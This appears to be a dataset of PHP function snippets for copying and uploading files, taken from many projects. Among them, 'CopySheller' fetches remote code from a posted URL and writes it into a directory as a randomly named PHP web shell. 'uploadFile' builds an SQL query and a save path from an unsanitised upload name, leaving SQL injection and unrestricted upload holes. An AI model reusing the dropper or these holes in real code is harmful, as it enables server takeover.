\"/\" . $file, $localFile, FTP_BINARY); \n } \n } \n } \n } \n }\n }*/\n }",
"function duplicateFile( $src, $dst, $replaceFileTarget=false , &$result)\n\t{\n\t if( strpos( $dst, $src ) === 0 ){\n\t \t// if the copy is not into the same folder\n\t \tif($src != $dst )\n\t \t{\n\t\t \t$result['state'] = 'ERROR';\n\t\t \t$result['message'] = 'Non puoi copiare una cartella dentro se stessa o una cartella figlia!';\n\t\t \treturn;\n\t \t}\n\t } \n\t \n\t if ( file_exists($dst) )\n\t {\n\t \t// if we want replace the target\n\t \tif($replaceFileTarget)\n\t \t{\n\t \t\tif($src == $dst ) return; // cna't replace self\n\t \t\t$this->removeFile($dst); // remove file or folder\n\t \t}\n\t \telse\n\t \t{\n\t \t\t// if the copy is made into the same folder\n\t \t\tif($src == $dst )\n\t \t\t{\n\t \t\t\t$path_parts = pathinfo($dst);\n\t \t\t\t$fileExtension = '';\n\t \t\t\tif( isset( $path_parts['extension'] )) $fileExtension = '.'.$path_parts['extension'];\n\t\t\t\t \n\t \t\t\t// append 'copy' at the end of the filename\n\t \t\t\tif( is_file($dst) )\n\t \t\t\t{\n\t\t\t\t\t$dst = $path_parts['dirname'].'/'.$path_parts['filename'].' copy'.$fileExtension;\n\t\t\t\t\t$num = 1;\n\t\t\t\t\twhile( file_exists( $dst ) ) { \t\t\t\n\t\t\t\t\t\t$dst = $path_parts['dirname'].'/'.$path_parts['filename'].' copy '.$num.$fileExtension;\n\t\t\t\t\t\t$num++;\n\t\t\t\t\t}\n\t \t\t\t}\n\t \t\t\telse if( is_dir($dst) )\n\t \t\t\t{\n\t \t\t\t\t$dst = $path_parts['dirname'].'/'.$path_parts['filename'].' copy';\n\t\t\t\t\t$num = 1;\n\t\t\t\t\twhile( file_exists( $dst ) ) { \t\t\t\n\t\t\t\t\t\t$dst = $path_parts['dirname'].'/'.$path_parts['filename'].' copy '.$num;\n\t\t\t\t\t\t$num++;\n\t\t\t\t\t}\n\t \t\t\t}\n\t \t\t}\n\t \t\telse\n\t \t\t{\n\t \t\t\t// add the paths to the list of existents files ( to send to the client for replacing request )\n\t \t\t\t$result['state'] = 'EXISTENT_FILES';\n\t\t\t \t$fileToReplace = array();\n\t\t\t \t$fileToReplace['sourcePath'] = $src;\n\t\t\t \t$fileToReplace['targetPath'] = $dst;\n\t\t\t \tarray_push( $result['existentFiles'] , $fileToReplace );\n\t\t\t \treturn;\n\t \t\t}\n\n\t \t}\n\t } \n\t \n\t if (file_exists($src))\n\t {\n\t\t if (is_dir($src))\n\t\t {\n\t\t if( ! mkdir($dst)) exit;\n\t\t $files = scandir($src);\n\t\t foreach ($files as $file)\n\t\t {\n\t\t \tif ($file != \".\" && $file != \"..\") $this->duplicateFile(\"$src/$file\", \"$dst/$file\", $replaceFileTarget , $result);\n\t\t }\n\t\t \n\t\t }\n\t\t else if (is_file($src))\n\t\t {\n\t\t \tif( ! copy($src, $dst) ) exit;\n\t\t }\n\t } \n\t \n\n}",
"public static function copy( $file, $dest, $filename = '' ) {\n\n\t\t// Setup the filename\n\t\t$filename = $filename ? $filename : basename( $file );\n\n\t\t// Full path to the copy.\n\t\t$copy = trailingslashit( $dest ) . $filename;\n\n\t\t// Remove the copy before trying to copy there to prevent `copy()` from failing.\n\t\tself::remove( $copy );\n\n\t\t// Make sure the destination dir exists.\n\t\tif ( ! file_exists( $dest ) ) {\n\t\t\tmkdir( $dest, 0777, true );\n\t\t}\n\n\t\tcopy( $file, $copy );\n\n\t\treturn $copy;\n\n\t}",
"public function copy($name){\n\t\t$path_array = explode(self::DS, $this->path);\n\t\t$oldPath = $this->path;\n\t\t$path_array = explode(self::DS, $oldPath);\n\t\tarray_pop($path_array);\n\t\t$_newPath = implode(self::DS, $path_array);\n\t\t$newPath = $_newPath . self::DS . $name;\n\t\tcopy($this->path, $newPath);\n\t}",
"public static function cloneFile($filename, $to)\n\t{\n\t\tif (!file_exists($filename)) {\n\t\t\tself::$errorsArray[$filename] = \"$filename not found in \" . dirname($filename);\n\t\t\treturn false;\n\t\t}\n\t\ttry {\n\t\t\tcopy($filename, $to);\n\t\t} catch (\\Throwable $err) {\n\t\t\tthrow \"Unable to copy file: $err\";\n\t\t}\n\t}",
"function copy_file($from_loc, $to_loc)\n\t{\n\t\tglobal $phpbb_root_path;\n\n\t\t$from_loc = ((strpos($from_loc, $phpbb_root_path) !== 0) ? $phpbb_root_path : '') . $from_loc;\n\t\t$to_loc = $this->root_path . str_replace($phpbb_root_path, '', $to_loc);\n\n\t\tif (!file_exists($from_loc))\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\t$result = $this->overwrite_file($from_loc, $to_loc);\n\n\t\treturn $result;\n\t}",
"public function createCopiedFile($source, $destination)\r\n {\r\n $fs = new Filesystem();\r\n try {\r\n $fs->copy($source, $destination, true);\r\n } catch (IOExceptionInterface $e) {\r\n echo \"An error occurred while copying file to \".$e->getPath();\r\n }\r\n }",
"function copy($src, $dest = null) {\n \n if (!$dest) {\n $dest = $src;\n \t$src = $this->_file;\n }\n \n if (Fire_File_Helper::isFile($src)) {\n \tif (!@copy($src, $dest)) {\n Fire_Error::throwError(sprintf('Failed to copy \"%s\" to \"%s\".',\n $src,\n $dest\n ), __FILE__, __LINE__\n );\n } \n } else {\n Fire_Error::throwError(sprintf('\"%s\" was not found as valid file.',\n $src\n ), __FILE__, __LINE__\n );\n }\n }",
"private function copyFileToTemp($file) \n {\n @mkdir(sys_get_temp_dir().'/moodle');\n $tempFile=@fopen(sys_get_temp_dir().'/moodle/'. $file->get_filename(),\"wb\"); \n if ($tempFile ) {\n fwrite($tempFile,$file->get_content());\n fclose($tempFile); \n } \n }",
"public static function copy($path, $target)\n\t{\n\t\treturn copy($path, $target);\n\t}",
"protected function copyFile($source, $dest)\n {\n if (@copy($source, $dest) == false) {\n $this->_errors[] = sprintf('Copy \"%s\" to \"%s\" failed.', $source, $dest);\n }\n }",
"public static function copy($src, $dst, $options = null) {\n\t\tEasyLog::log(\"Starting Upload copy\");\n\t\t$options = array_merge(array(\n\t\t\t'filename' => null,\t\t\t// Preferred name of the new file\n\t\t\t'oldFilename' => null,\t\t// Existing filename that will be deleted before copying\n\t\t\t'isImage' => false,\t\t\t// If this file is an image\n\t\t\t'randomPath' => false,\t\t// Adds an additional set of random paths between the directory and file name\n\t\t), $options);\n\t\t\n\t\t// Accepts a $_POST data array or single string\n\t\tif (is_array($src)) {\n\t\t\t$filename = $src['name'];\n\t\t\t$src = $src['tmp_name'];\n\t\t} else {\n\t\t\t$filename = array_pop(explode(DS, $src));\n\t\t}\n\n\t\t$src = self::_dsFixFile($src);\n\t\t$TmpFile = new File($src);\n\t\t\t\t\t\t\n\t\t$File = new File($filename);\n\t\t$ext = $File->ext();\n\t\t\n\t\t// Finds the destination filename\n\t\tif (isset($options['filename']) && $options['filename'] != '') {\n\t\t\t$filename = $options['filename'];\n\t\t}\n\n\t\tif (!empty($ext) && strpos($filename, '.') === false) {\n\t\t\t//Adds an extension if none has been provided\n\t\t\t$filename .= '.' . $ext;\n\t\t}\n\t\t$filename = self::_dsFixFile($filename);\n\n\t\tif (!is_array($dst)) {\n\t\t\t$dst = array($dst);\n\t\t}\n\n\t\t$results = array();\n\t\tforeach ($dst as $dir => $conversionRules) {\n\t\t\tif (is_int($dir)) {\n\t\t\t\t$dir = $conversionRules;\n\t\t\t\t$conversionRules = array();\n\t\t\t}\n\n\t\t\t$dir = self::_dsFixFile($dir);\n\t\t\t$dirParts = explode(DS, $dir);\n\t\t\t$lastDirItem = array_pop($dirParts);\n\n\t\t\t// Checks if the directory contains a filename\n\t\t\tif (strpos($lastDirItem, '.') !== false) {\n\t\t\t\t$dstFilename = $lastDirItem;\n\t\t\t\t$dir = implode(DS, $dirParts);\n\t\t\t} else {\n\t\t\t\t$dstFilename = $filename;\n\t\t\t}\n\n\t\t\t// Adds random path if necessary\n\t\t\tif (!empty($options['randomPath'])) {\n\t\t\t\tif ($options['randomPath'] !== true) {\n\t\t\t\t\t$randomPath = self::randomPath($filename, $options['randomPath']);\n\t\t\t\t} else {\n\t\t\t\t\t$randomPath = self::randomPath($filename);\n\t\t\t\t}\n\t\t\t\t$dir = Folder::addPathElement($dir, $randomPath);\n\t\t\t}\n\t\t\tif (strpos($dstFilename, DS)) {\n\t\t\t\t$filenameDirs = explode(DS, $dstFilename);\n\t\t\t\t$dstFilename = array_pop($filenameDirs);\n\t\t\t\t$dir = Folder::slashTerm(Folder::addPathElement($dir, implode(DS, $filenameDirs)));\n\t\t\t}\n\n\t\t\t// Makes sure directory exists\n\t\t\tif (!is_dir( $dir)) {\n\t\t\t\tEasyLog::log('Creating directory: ' . $dir);\n\t\t\t\tif (!mkdir($dir, 0777, true)) {\n\t\t\t\t\tEasyLog::error('Upload file directory, ' . $dir . ' does not exist and could not be created');\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t//Removes old existing file\n\t\t\tif (!empty($options['oldFilename'])) {\n\t\t\t\t$oldFile = $dir . $options['oldFilename'];\n\t\t\t\tif (is_file($oldFile)) {\n\t\t\t\t\tunlink($oldFile);\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t$dst = $dir . $dstFilename;\n\n\t\t\tif ($options['isImage']) {\n\t\t\t\t$success = self::copyImage($src, $dst, $conversionRules);\n\t\t\t} else {\n\t\t\t\t$success = self::copyFile($src, $dst);\n\t\t\t}\n\n\t\t\t$result = compact('dst', 'src', 'success');\n\n\t\t\tif (!$success) {\n\t\t\t\tEasyLog::error(\"Could not upload file $dstFilename to directory $dir\");\n\t\t\t} else {\n\t\t\t\t$result += array(\n\t\t\t\t\t'filename' => $dstFilename,\n\t\t\t\t\t'size' => $TmpFile->size(),\n\t\t\t\t\t'type' => !empty($data['type']) ? $data['type'] : null,\n\t\t\t\t\t'ext' => $ext,\n\t\t\t\t\t'location' => $dst,\n\t\t\t\t);\n\t\t\t\t@chmod($dst, 0777);\n\t\t\t}\n\n\t\t\t$results[] = $result;\n\t\t}\n\n\t\t$return = compact('results') + array(\n\t\t\t'log' => array(\n\t\t\t\t'msgs' => EasyLog::getLog(),\n\t\t\t\t'errors' => EasyLog::getErrors()\n\t\t\t)\n\t\t);\n\t\tEasyLog::log(\"Finished Upload copy\");\n\t\treturn $return;\n\t}",
"public static function copy($srcFile, $dstFile) {\n\t\tif (!is_file($dstFile)) {\n\t\t\tnew File($dstFile, true);\n\t\t}\n\t\t$file = new File($srcFile);\n\t\treturn $file->copy($dstFile, true);\n\t}",
"protected function copyFileRequest(Requests\\CopyFileRequest $request)\n {\n // verify the required parameter 'src_path' is set\n if ($request->srcPath === null) {\n throw new \\InvalidArgumentException('Missing the required parameter $srcPath when calling copyFile');\n }\n // verify the required parameter 'dest_path' is set\n if ($request->destPath === null) {\n throw new \\InvalidArgumentException('Missing the required parameter $destPath when calling copyFile');\n }\n\n $resourcePath = '/slides/storage/file/copy/{srcPath}';\n $queryParams = [];\n $headerParams = [];\n $httpBody = '';\n\n // query params\n if ($request->destPath !== null) {\n $queryParams['destPath'] = ObjectSerializer::toQueryValue($request->destPath);\n }\n // query params\n if ($request->srcStorageName !== null) {\n $queryParams['srcStorageName'] = ObjectSerializer::toQueryValue($request->srcStorageName);\n }\n // query params\n if ($request->destStorageName !== null) {\n $queryParams['destStorageName'] = ObjectSerializer::toQueryValue($request->destStorageName);\n }\n // query params\n if ($request->versionId !== null) {\n $queryParams['versionId'] = ObjectSerializer::toQueryValue($request->versionId);\n }\n\n $resourcePath = ObjectSerializer::addPathValue($resourcePath, \"srcPath\", $request->srcPath);\n $this->headerSelector->selectHeaders(\n $headerParams,\n ['application/json'],\n ['application/json']);\n\n return $this->createRequest($resourcePath, $queryParams, $headerParams, $httpBody, 'PUT');\n }",
"public function copyFiles($destination);",
"public function copy_file_to_device($local_file_path, $local_file_name, $destination_file_path, $destination_file_name)\r\n\t{\r\n\t\tif ($this->_device_type == 'cisco') {\r\n\r\n\t\t} elseif ($this->_device_type == 'bairos') {\r\n\r\n\t\t} elseif ($this->_device_type == 'directvstb') {\r\n\r\n\t\t} elseif ($this->_device_type == 'routeros') {\r\n\t\t\t\r\n\t\t\t$upload_file = new Thelist_Routeros_command_uploadfile($this, $local_file_path, $local_file_name, $destination_file_path, $destination_file_name);\r\n\t\t\treturn $upload_file->execute();\r\n\r\n\t\t} elseif ($this->_device_type == 'linuxserver') {\r\n\t\t\t\r\n\t\t\t$upload_file = new Thelist_Linuxserver_command_uploadfile($this, $local_file_path, $local_file_name, $destination_file_path, $destination_file_name);\r\n\t\t\treturn $upload_file->execute();\r\n\r\n\t\t} else {\r\n\t\r\n\t\t\t$trace = debug_backtrace();\r\n\t\t\t$method = $trace[0][\"function\"];\r\n\t\r\n\t\t\tthrow new exception(\"\".$method.\" is not defined for \".$this->_device_type.\"\", 1200);\r\n\t\t}\r\n\t}",
"public function copy(\\Drone\\Filesystem\\File $file)\n\t{\n\t\tif(!$this->__isFile())\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\treturn copy($this->_path, $file->getPath());\n\t}",
"public static function copy($path, $target)\n {\n return copy($path, $target);\n }",
"public function copyToPath($path) {\n\t\t/** @var WireFileTools $files */\n\t\t$files = $this->wire('files');\n\t\t$result = $files->copy($this->filename(), $path);\n\t\tforeach($this->extras() as $extra) {\n\t\t\tif(!$extra->exists()) continue;\n\t\t\t$files->copy($extra->filename, $path);\n\t\t}\n\t\treturn $result;\n\t}",
"public static function copyFile($from, $to) {\n $from = self::resolvePath($from);\n $to = self::resolvePath($to);\n\n self::assertExists($from);\n self::assertIsFile($from);\n self::assertReadable($from);\n\n if (phutil_is_windows()) {\n $trap = new PhutilErrorTrap();\n $ok = @copy($from, $to);\n $err = $trap->getErrorsAsString();\n $trap->destroy();\n\n if (!$ok) {\n if (strlen($err)) {\n throw new FilesystemException(\n $to,\n pht(\n 'Failed to copy file from \"%s\" to \"%s\": %s',\n $from,\n $to,\n $err));\n } else {\n throw new FilesystemException(\n $to,\n pht(\n 'Failed to copy file from \"%s\" to \"%s\".',\n $from,\n $to));\n }\n }\n } else {\n execx('cp -p %s %s', $from, $to);\n }\n }",
"public function copy($source) {}",
"public static function copy_asset( $file, $dest, $filename = '' ) {\n\t\treturn self::copy( self::get_asset_path( $file ), $dest, $filename );\n\t}",
"function uploadFile()\n{\n $uploaddir = 'files/';\n\n // TODO: handle duplicate names?\n // get file description?\n $query = \"\n INSERT INTO clipboard\n SET\n name = '{$_FILES['clipfile']['name']}',\n path = $uploaddir . $_FILES['clipfile']['name']',\n description = '',\n date = now(),\n clip_id = NULL\";\n \n query($query);\n testError($query);\n \n move_uploaded_file($_FILES['clipfile']['tmp_name'], $uploaddir . $_FILES['clipfile']['name'])\n or die('fucking file failed');\n \n print \"file {$_FILES['clipfile']['name']} uploaded successfully. Word Up!\";\n}",
"function T3COPY($source,$dest,&$filearray,$level) {\r\n\t\t\t$this->tx_cbywebdav_devlog(3,\"=== T3COPY > \".$dest.\" \".$source,\"cby_webdav\",\"COPY\");\r\n\t\t\t$t3io=$this->CFG->t3io;\r\n\t\t\t$source=$this->_slashify($source);\r\n \t$filearray[$level][$source][]=$source;\r\n\t\t\t$sourceinfo=$t3io->T3IsFile($source); \r\n\t\t\t$lvl=$level;\r\n\t\t\t$destinfo=$t3io->T3IsFile($dest);\r\n\t\t\t$file = $this->_slashify($source);\r\n\t\t\t\t\t\t\t\t\t\t\r\n\t\t\t$fileinfo=$t3io->T3IsFile($file); \r\n\t\t\t$new=!$destinfo['exists']; \t\t\t\t\t\t\r\n\t\t\t$this->tx_cbywebdav_devlog(2,\"=== T3COPY file \".serialize($fileinfo).\" files : \".serialize($files),\"cby_webdav\",\"COPY\");\r\n\t\t\t\t\t\t\t\t\t\t\r\n\t\t\t//if ($fileinfo['isWebmount'] && $fileinfo['isDir']) { // Répertoire Webmount\r\n\r\n\t\t\t// we handle copy root rename here ....\r\n\t\t\t$page['title']=basename($file);\r\n\t\t\t// we handle copy root rename here ....\r\n\t\t\t$this->tx_cbywebdav_devlog(3,\"=== T3COPY fs \".$file.\" \".$source,\"cby_webdav\",\"COPY\");\r\n\t\t\t// if we are first dir to copy we take dest dir name\r\n\t\t\tif ($file==$source && $level==0 && $new){\r\n\t\t\t\t$this->tx_cbywebdav_devlog(3,\"=== T3COPY f=s \".$file.\" \".$source,\"cby_webdav\",\"COPY\");\r\n\t\t\t\t$page['title']=basename($dest);\r\n\t\t\t}\r\n\r\n\t\t\t$page['pid']=$destinfo['pid'];\r\n\t\t\tif ($destinfo['isWebmount']) $page['title']=$t3io->T3ExtractPageTitle($destinfo['uid'],$page['title']);\r\n\t\t\t//$where=\" uid='$sourceinfo[uid]' \";\r\n\t\t\t$this->tx_cbywebdav_devlog(2,\"=== T3COPY \".$this->CFG->T3DB->INSERTquery('pages',$page),\"cby_webdav\",\"COPY\");\r\n\t\t\t\t\t\r\n\t\t\t$this->CFG->T3DB->exec_INSERTquery('pages',$page); \t\t// copie récursive à mettre en place ici ...???\t\t\t\t\t\r\n\t\t\t$pid=$this->CFG->T3DB->sql_insert_id();\t\r\n\r\n\t\t\t// we copy the page content ...\r\n\t\t\t\r\n\t\t\t$this->tx_cbywebdav_devlog(2,\"=== T3COPY $source sinfo : \".serialize($sourceinfo).\" #######################\",\"cby_webdav\",\"COPY\");\r\n\t\t\t\r\n\t\t\t// We add the tt_content, could also be tt_news, users (vcf ...)\r\n\t\t\t$content['pid']=$pid;\r\n\t\t\t\r\n\t\t\t$enable=$GLOBALS['TSFE']->sys_page->enableFields('tt_content',-1,array('fe_group'=>1));\r\n\t\t\t$res=$this->CFG->T3DB->exec_SELECTquery('header','tt_content','pid='.intval($sourceinfo['uid']).$enable );\r\n\t\t\tif ($res) {\r\n\t\t\t\twhile ($row=$this->CFG->T3DB->sql_fetch_assoc($res)) {\r\n\t\t\t\t\t$file=$source.$row['header'];\t\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t$fileinfo=$t3io->T3IsFile($file);\r\n\t\t\t\t\t$destinfo=$t3io->T3IsFile($dest.'/'.$row['header']);\t\t\t\t\t\r\n\t\t\t\t\t//TODO handle upload file rename ...\r\n\t\t\t\t\t//$content['header']=basename($file);\r\n\t\t\t\t\t\r\n\t\t\t\t\t$where=\" uid='$destinfo[uid]' \";\r\n\t\t\t\t\tif ($destinfo['isWebmount']) {\r\n\t\t\t\t\t\tif ($destinfo['uid']) {\r\n\t\t\t\t\t\t\t$this->CFG->T3DB->exec_UPDATEquery('tt_content',$where,$content); \r\n\t\t\t\t\t\t \t$this->tx_cbywebdav_devlog(2,\"=== COPY \".$this->CFG->T3DB->UPDATEquery('tt_content',$where,$content),\"cby_webdav\",\"COPY\");\r\n\t\t\t\t\t\t} else {\t\r\n \t\t\t\t\t\t\t$content['header']=basename($file); \r\n\t\t\t\t\t\t\t$this->CFG->T3DB->exec_INSERTquery('tt_content',$content); \t\r\n\t\t\t\t\t\t \t$this->tx_cbywebdav_devlog(2,\"=== COPY \".$this->CFG->T3DB->INSERTquery('tt_content',$content),\"cby_webdav\",\"COPY\");\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t// We get the directories (pages)....(should be a recursive call here ...\r\n\t\t\t$enable=$GLOBALS['TSFE']->sys_page->enableFields('pages',-1,array('fe_group'=>1));\r\n\t\t\t$res=$this->CFG->T3DB->exec_SELECTquery('title','pages','pid='.intval($sourceinfo['uid']).$enable );\r\n\t\t\tif ($res) {\r\n\t\t\t\twhile ($row=$this->CFG->T3DB->sql_fetch_assoc($res)) {\r\n\t\t\t\t\t$this->T3COPY($source.$row['title'].'/',$dest.'/'.$page['title'],$filearray,$level+1);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t$this->tx_cbywebdav_devlog(2,\"=== T3COPY files:\" .serialize($filearray).\" #######################\",\"cby_webdav\",\"COPY\");\r\n }",
"public function upload($sTempFileName,$sPath)\n { \n copy($sTempFileName,$sPath);\n }",
"public function copy(File $file, $overwrite = false, $filename = null) {\n\t\t$oldFilename = $file->getFilename();\n\t\t$newfilename = strlen($filename) ? $filename : $oldFilename;\n\n\t\t// check if the file has metadata\n\t\tif ($file instanceof ServerFile) {\n\t\t\t// get the old metadata\n\t\t\tif ($oldMetadataFile = $file->getParent()->getMetadataFile(false))\n\t\t\t\t$metadata = $oldMetadataFile->getSection($oldFilename);\n\t\t\t// get the new metadata file\n\t\t\t$newMetadataFile = $this->getMetadataFile((bool) $metadata);\n\t\t}\n\t\n\t\t// move the file to this directory\n\t\tif (!parent::copy($file, $overwrite, $newfilename))\n\t\t\treturn false;\n\n\t\t// import file metadata, if it exists\n\t\tif ($metadata)\n\t\t\t$newMetadataFile->setSection($metadata, $newfilename);\n\t\treturn true;\n\t}",
"function tc_file_system_copy($source, $destination, $overwrite = false, $mode = false){\r\n\t\r\n\t//initialize processed files object\r\n\t$processed_files = WPTC_Factory::get('processed-restoredfiles',true);\r\n\t$current_processed_files = array();\r\n\t\r\n\tglobal $wp_filesystem;\r\n\tif($wp_filesystem->method == 'direct'){\r\n\t\t// check if already processed ; if so dont copy\r\n\t\t$processed_file = $processed_files->get_file($source);\r\n\t\t//file_put_contents(WP_CONTENT_DIR .'/DE_clientPluginSIde.php',\"\\n -----processed_file obj------- \".var_export($processed_file,true).\"\\n\",FILE_APPEND);\r\n\t\tif ( !($processed_file) ) {\r\n\t\t\t$copy_result = $wp_filesystem->move($source, $destination, $overwrite, $mode);\r\n\t\t\tif($copy_result)\r\n\t\t\t{\r\n\t\t\t\t//file_put_contents(WP_CONTENT_DIR .'/DE_clientPluginSIde.php',\"\\n ----adding details--------\\n\",FILE_APPEND);\r\n\t\t\t\t//if copied then add the details to DB\r\n\t\t\t\t$this_file_detail['file'] = $source;\r\n\t\t\t\t$this_file_detail['copy_status'] = true;\r\n\t\t\t\t$this_file_detail['revision_number'] = null;\r\n\t\t\t\t$this_file_detail['revision_id'] = null;\r\n\t\t\t\t$this_file_detail['mtime_during_upload'] = null;\r\n\t\t\t\t\r\n\t\t\t\t$current_processed_files[] = $this_file_detail;\r\n\t\t\t\t//file_put_contents(WP_CONTENT_DIR .'/DE_clientPluginSIde.php',\"\\n -----current_processed_files------- \".var_export($current_processed_files,true).\"\\n\",FILE_APPEND);\r\n\t\t\t\t$processed_files->add_files($current_processed_files);\t\r\n\t\t\t\t//file_put_contents(WP_CONTENT_DIR .'/DE_clientPluginSIde.php',\"\\n ---any sql error------ \".var_export(mysql_error(),true).\"\\n\",FILE_APPEND);\r\n\t\t\t\t//set the in_progress option to false on final file copy\r\n\t\t\t}\r\n\t\t\treturn $copy_result;\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\telseif($wp_filesystem->method == 'ftpext' || $wp_filesystem->method == 'ftpsockets'){\r\n\t\tif ( ! $overwrite && $wp_filesystem->exists($destination) )\r\n\t\t\treturn false;\r\n\t\t//$content = $this->get_contents($source);\r\n//\t\tif ( false === $content)\r\n//\t\t\treturn false;\r\n\t\t\t\r\n\t\t//put content\t\r\n\t\t//$tempfile = wp_tempnam($file);\r\n\t\t$source_handle = fopen($source, 'r');\r\n\t\tif ( ! $source_handle )\r\n\t\t\treturn false;\r\n\r\n\t\t//fwrite($temp, $contents);\r\n\t\t//fseek($temp, 0); //Skip back to the start of the file being written to\r\n\t\t\r\n\t\t$sample_content = fread($source_handle, (1024 * 1024 * 2));//1024 * 1024 * 2 => 2MB\r\n\t\tfseek($source_handle, 0); //Skip back to the start of the file being written to\r\n\r\n\t\t$type = $wp_filesystem->is_binary($sample_content) ? FTP_BINARY : FTP_ASCII;\r\n\t\tunset($sample_content);\r\n\t\tif($wp_filesystem->method == 'ftpext'){\r\n\t\t\t$ret = @ftp_fput($wp_filesystem->link, $destination, $source_handle, $type);\r\n\t\t}\r\n\t\telseif($wp_filesystem->method == 'ftpsockets'){\r\n\t\t\t$wp_filesystem->ftp->SetType($type);\r\n\t\t\t$ret = $wp_filesystem->ftp->fput($destination, $source_handle);\r\n\t\t}\r\n\r\n\t\tfclose($source_handle);\r\n\t\tunlink($source);//to immediately save system space\r\n\t\t//unlink($tempfile);\r\n\r\n\t\t$wp_filesystem->chmod($destination, $mode);\r\n\r\n\t\treturn $ret;\r\n\t\t\r\n\t\t//return $this->put_contents($destination, $content, $mode);\r\n\t}\r\n}",
"FUNCTION CopySheller($DIR) {\r\n$Sheller = RndName();\r\n$SH_TXT = (@$_POST['shellerURL']);\r\n$file23 = (@file_get_contents(\"$SH_TXT\"));\r\nif (!$file23) {\r\necho \"<font color=red>[+] Can't Open The Sheller File .</font><br>\";\r\n}\r\nelse {\r\n$fp23 = @fopen(\"$DIR/$Sheller.php\",'w+');\r\n$fw23 = @fwrite($fp23,$file23);\r\nif ($fw23) {\r\necho \"<font color=green>[+] Uploaded Successful : $DIR/$Sheller.php</font><BR>\";\r\n}\r\n@fclose($fp23);\r\n }\r\n}",
"public function copyAction()\n {\n foreach ($this->dms()->getHearders() as $key => $value) {\n $this->getResponse()->getHeaders()->addHeaderLine($key, $value);\n }\n \n if (session_status() == PHP_SESSION_NONE) {\n session_start();\n }\n \n $document = [];\n $document['support'] = Document::SUPPORT_FILE_BUCKET_STR;\n $document['coding'] = 'binary';\n $document['data'] = $this->params()->fromPost('object', 'noo');\n $document['name'] = $this->params()->fromPost('name', 'non');\n \n $doc = $this->dms()->getService()->add($document);\n\n return new JsonModel(['id'=>$doc]);\n }",
"function copy_files($dir_dbselect,$dir_globals,$dir_config,$destination){\n\n\t\tif(file_exists($dir_dbselect)):\n\t\t\tcopy($dir_dbselect,$destination) or die(\"Cannot copy _dbselect.php\");\n\t\tendif;\n\n\t\tif(file_exists($dir_globals)):\n\t\t\tcopy($dir_globals,$destination) or die(\"Cannot copy globals.php\");\n\t\tendif;\n\n\t\tif(file_exists($dir_config)):\n\t\t\tcopy($dir_config,$destination) or die(\"Cannot copy config.xml\");\n\t\tendif;\n\t\t\n\t\techo 'File copy is a success!';\n\t}",
"protected function copyPatchedFile() {\n\t\t$this->tail();\n\t\tif (!copy($this->tempOutputFile, $this->originalFile)) { // @todo!!!\n\t\t\tthrow new TemplatePatchException(\"Patched file cannot be copied to target \".$this->originalFile, 20006, $this->originalFile);\n\t\t}\n\t}",
"public function copy(string $source, string $destination)\n {\n if (!file_exists($source)) {\n throw new FileNonExistentException();\n }\n\n $data = file_get_contents($source);\n\n file_put_contents($destination . '/' . basename($source), $data);\n }",
"public static function copyFile($filename, $to, $rename = true)\n\t{\n\t\tif (!file_exists($filename)) {\n\t\t\tself::$errorsArray[$filename] = \"$filename not found in \" . dirname($filename);\n\t\t\treturn false;\n\t\t}\n\n\t\t$newfilename = $filename;\n\n\t\tif (file_exists($filename) && $rename == true) {\n\t\t\t$newfilename = \"(\" . time() . \")\" . $filename;\n\t\t}\n\n\t\ttry {\n\t\t\tcopy($filename, $to . \"/\" . $newfilename);\n\t\t\treturn $newfilename;\n\t\t} catch (\\Throwable $err) {\n\t\t\tself::$errorsArray[$filename] = \"Unable to copy file\";\n\t\t\treturn false;\n\t\t}\n\t}",
"public static function copy ($srcPath, $dstPath) {\n\t\t\\copy($srcPath, $dstPath);\n\t}",
"public function copyFiles() {\n\n $customAction = File::get(__DIR__.'/../Services/stub/config/customAction.php.stub');\n\n $dbexporter = File::get(__DIR__.'/../Services/stub/config/dbexporter.php.stub');\n\n $pathCustom = config_path().'/customAction.php';\n\n $pathDbExporter = config_path().'/dbexporter.php';\n\n $this->createFile($pathCustom,$customAction);\n\n $this->createFile($pathDbExporter,$dbexporter);\n\n }",
"function copy($newpath) {\n\n\t\t$f2 = new File($newpath, true);\n\t\treturn $f2->exists() && $f2->write($this->read()) && $f2->close();\n\t}",
"public function copy(string $oldfile, string $newfile) {\n throw new Exception('Not implemented yet');\n }",
"public function make($filename, $destination);",
"public function copy($prefix = null)\n\t{\n $this->upload_local_file();\n\n // Copies the file, returns the new location\n $file_split = explode(\"/\", $this->location);\n $source = $file_split[count($file_split) - 1];\n $filename = $this->new_filename($source);\n $dir = $this->dir;\n if (!empty($prefix)) {\n $dir = \"{$prefix}/{$dir}\";\n }\n $s3 = AWS::createClient('s3');\n $result = $s3->copyObject(\n array(\n 'Bucket' => $this->bucket,\n 'CopySource' => $this->bucket . '/' . $this->location,\n 'Key' => \"{$dir}/{$filename}\",\n 'StorageClass' => $this->storage,\n 'ServerSiteEncryption' => $this->encryption\n )\n );\n $this->location = $dir . '/' . $filename;\n // Make sure the local file is uploaded\n $this->upload_local_file();\n return $this->location;\n\t}",
"function copyTemplateFiles(){\n\t\t\tcopy('data/template/index.html', $this->profile_URI.'/index.html');\n\t\t}",
"private function uploadFile()\n {\n $uid = $this->param[2];\n $src = $_FILES['Filedata']['tmp_name'];\n $dst = TEMP_DIR . '/' . $uid . $_FILES['Filedata']['name'];\n \n if(@move_uploaded_file($src, $dst))\n {\n $data = \"{$_FILES['Filedata']['name']}:$dst:{$_FILES['Filedata']['size']}\";\n echo $data;\n }\n exit;\n }",
"public function copy($sourceDir,$sourceFile,$targetDir,$targetFile){\n\t\tif(!$this->connected){\n\t\t\treturn false;\n\t\t}\n\t\treturn $this->apiCall('copy',array('sourcedir'=>$sourceDir,'source'=>$sourceFile,'targetdir'=>$targetDir,'target'=>$targetFile),true);\n\t}",
"static function copy($path, $handler)\r\n {\r\n Route::route(\"COPY\", $path, $handler);\r\n }",
